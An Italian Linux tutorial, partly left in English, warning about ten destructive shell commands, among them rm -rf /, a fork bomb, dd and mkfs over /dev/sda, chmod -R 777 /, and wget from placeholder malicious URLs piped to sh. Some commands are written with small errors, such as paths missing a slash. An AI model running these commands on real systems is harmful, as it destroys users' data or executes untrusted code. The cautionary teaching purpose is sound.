GNU/Linux >> Linux Esercitazione >  >> Linux

10 comandi mortali che non dovresti mai eseguire su Linux

Il sistema operativo Linux offre ai suoi utenti una maggiore indipendenza rispetto a Windows o qualsiasi altro sistema operativo. Mentre per alcuni sviluppatori esperti, il sistema operativo Linux offre la libertà di eseguire operazioni, potrebbe anche compromettere la libertà fornita a questi sviluppatori. Mentre ogni tecnologia ha i suoi pro e contro, lo fa anche Linux. È della massima importanza che l'utente abbia un'ampia comprensione dei comandi sicuri e mortali prima dell'esecuzione. Qui, discuteremo dei comandi mortali che non dovresti mai eseguire senza una piena comprensione del loro significato.

1. Cancellazione ricorsiva

Uno dei modi più veloci per eliminare una cartella e il suo contenuto è il comando rm -rf. Ha guadagnato popolarità nel corso degli anni poiché ha superato l'errore riscontrato in Windows quando il file o la cartella vengono eliminati. Questo comando cancella tutto il file, la cartella o il disco rigido su cui è eseguito. Analizziamo il comando e capiamo cosa significa veramente:

rm – Rimuovi tutti i file nelle posizioni indicate

-rf – Questo comando è ulteriormente suddiviso in due parti:r e f. r sta per rimuovere tutti i file in modo ricorsivo mentre f sta per una forza che significa che elimina tutti i file senza chiedere all'utente.

Esistono numerose varianti di questo comando disponibili su Internet. È importante capire che si dovrebbe sapere cosa fa un comando una volta eseguito su una cartella specifica o i dati possono andare persi. I dati persi da questo comando non possono essere recuperati in alcun modo.

  • RM – Questo comando viene utilizzato per eliminare i file di tutti i file nel percorso che fornirai
  • rm -r – Questo comando viene utilizzato per eliminare i file in modo ricorsivo da tutte le directory e sottodirectory nel sistema operativo Linux.
  • rm -f – Questo comando viene utilizzato per eliminare i file nel percorso fornito senza richiedere all'utente. Ciò include anche l'eliminazione dei "File di sola lettura".
  • rm -rf / – Questo è uno dei comandi più pericolosi in quanto / si riferisce alla directory principale del sistema operativo. Una volta eseguito, questo comando cancella tutto il contenuto della directory principale in modo forzato e ricorsivo. Pertanto, tutte le directory e le sottodirectory verranno eliminate e i dati andranno persi.
  • rm -rf * – Questo comando cancella forzatamente tutti i dati nella directory di lavoro
  • rm -rf. –  Questo comando elimina forzatamente i file nella directory di lavoro corrente e le sottodirectory. Rimuove anche tutti i file di configurazione nella directory.

2. Bomba a forcella

Poiché Linux opera su Bash, quindi, è importante capire cosa farà il comando al tuo sistema prima di eseguirlo. Questa è una semplice funzione bash che una volta eseguita crea copie di se stessa che a sua volta crea un altro insieme di copie di se stessa. Ciò consuma il tempo della CPU e la memoria. Pertanto, viene eseguito in modo ricorsivo fino a quando il sistema non si blocca.

:(){:|:&};:

3. Sovrascrivi disco rigido

Se hai eseguito il seguente comando per errore o accidentalmente sul tuo disco rigido, il ripristino è del tutto impossibile.

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4. Implode disco rigido

Come il detto "C'è più di un modo per scuoiare un gatto", c'è più di un modo per distruggere il tuo disco rigido. In ogni sistema Linux, dev/null è una posizione speciale che è indicata come un buco nero. Qualsiasi cosa spostata in questo buco nero viene distrutta. Se hai spostato accidentalmente i tuoi dati in questa cartella, i tuoi dati non verranno comunque recuperati.

mv /home/root/*  dev/null

Il comando sopra menzionato sposta tutti i dati nella cartella home/root nel buco nero con conseguente perdita di dati. Analizziamo il comando per capire cosa fa ogni sezione.

mv - This command is used for moving a folder to another location

/home/root/* – Questa è la posizione della cartella che verrà spostata

dev/null – Una posizione speciale denominata buco nero

Pertanto, dovresti prestare attenzione durante l'esecuzione del comando di spostamento. Assicurati che la posizione in cui stai spostando la cartella esista nel sistema.

5. Scarica script dannoso

Siamo tutti consapevoli dei vantaggi del comando "wget" in Linux, ma non siamo consapevoli del fatto che può scaricare script e virus dannosi, nonché software vantaggioso. Se hai per caso eseguito uno dei seguenti comandi, capirai di cosa si tratta.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

I comandi sopra menzionati scaricano il contenuto dall'URL fornito ed eseguono lo script scaricato.

6. Formatta disco rigido

C'è un altro comando per cancellare il tuo disco rigido e renderlo nuovo. Questi dovrebbero essere utilizzati solo nei casi in cui hai il backup dei dati sul cloud o su un dispositivo esterno.

mkfs.ext3 /dev/sda

L'esecuzione di questo comando è identica all'esecuzione di un formato completo sull'unità C in Windows in cui tutto il file verrà cancellato dall'unità ed è pronto per la nuova installazione. Per renderti più facile la comprensione. Analizziamo questo comando.

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

Insieme, quando questo comando viene eseguito, formatta la partizione specificata sul disco rigido e la riformatta in base al file system specificato che è ext3 nel comando sopra menzionato. Pertanto, è molto importante capire cosa fa il comando prima di essere eseguito sul tuo sistema e perdere tutti i dati.

7. Svuota il contenuto del file

Il comando per svuotare il contenuto dei file è facile e può essere eseguito in ogni caso.

>file

Se hai mai eseguito un comando con il tipo sopra menzionato, avresti visto che il contenuto del file specificato deve essere stato svuotato. ">" è responsabile dello svuotamento del contenuto del file, quindi, ricontrolla il comando che stai eseguendo.

8. Modifica comando precedente

Questo comando è una benedizione e una maledizione. Mentre rende più facile non digitare di nuovo tutto il comando precedente ed eseguirlo, può anche infondere contenuto dannoso nel comando eseguito in precedenza. Pertanto, è necessario essere sicuri che sia adatto a te per utilizzare questo comando.

^foo^bar

9. Scrivi spazzatura casuale su disco rigido

Se ti sei mai imbattuto nel comando menzionato di seguito, congratulazioni potresti anche aver visto spazzatura casuale scritta sul tuo disco rigido se sei abbastanza pazzo da eseguire effettivamente questo comando. Le conseguenze di questo comando sono che il tuo sistema non verrà ripristinato.

dd if=/dev/random of=/dev/sda

10. Chmod -R 777/

Questo comando non influisce fisicamente sul tuo sistema come fanno tutti gli altri comandi come discusso in ciascuna sezione, ma ciò fornisce una violazione della sicurezza del sistema. Eseguendo questo comando, stai fornendo a tutti gli utenti del sistema la possibilità di leggere, scrivere ed eseguire dati sul tuo file system. Quindi, usa questo comando con saggezza.

Spero che queste informazioni dettagliate sui comandi mortali ti impediscano di perdere i tuoi dati dal tuo sistema. Facci sapere nella sezione commenti qui sotto se questo ti ha aiutato o meno.


Linux
  1. 10 comandi che ogni utente Linux dovrebbe conoscere

  2. 10 comandi di base di Linux che devi conoscere

  3. 5 comandi Linux che non uso mai

  4. 7 comandi di rete Linux che ogni amministratore di sistema dovrebbe conoscere

  5. Come mandare in crash il tuo sistema:pericolosi comandi Linux

10 comandi Linux molto stupidi [alcuni di loro mortali]

3 comandi Linux di cui ti sei dimenticato

Come eseguire più comandi Linux contemporaneamente nel terminale Linux

Il comando Nohup in Linux ti consente di eseguire comandi anche dopo il logout

20 comandi Linux principali di cui avrai bisogno ogni giorno

I 50+ migliori comandi Linux che DEVI conoscere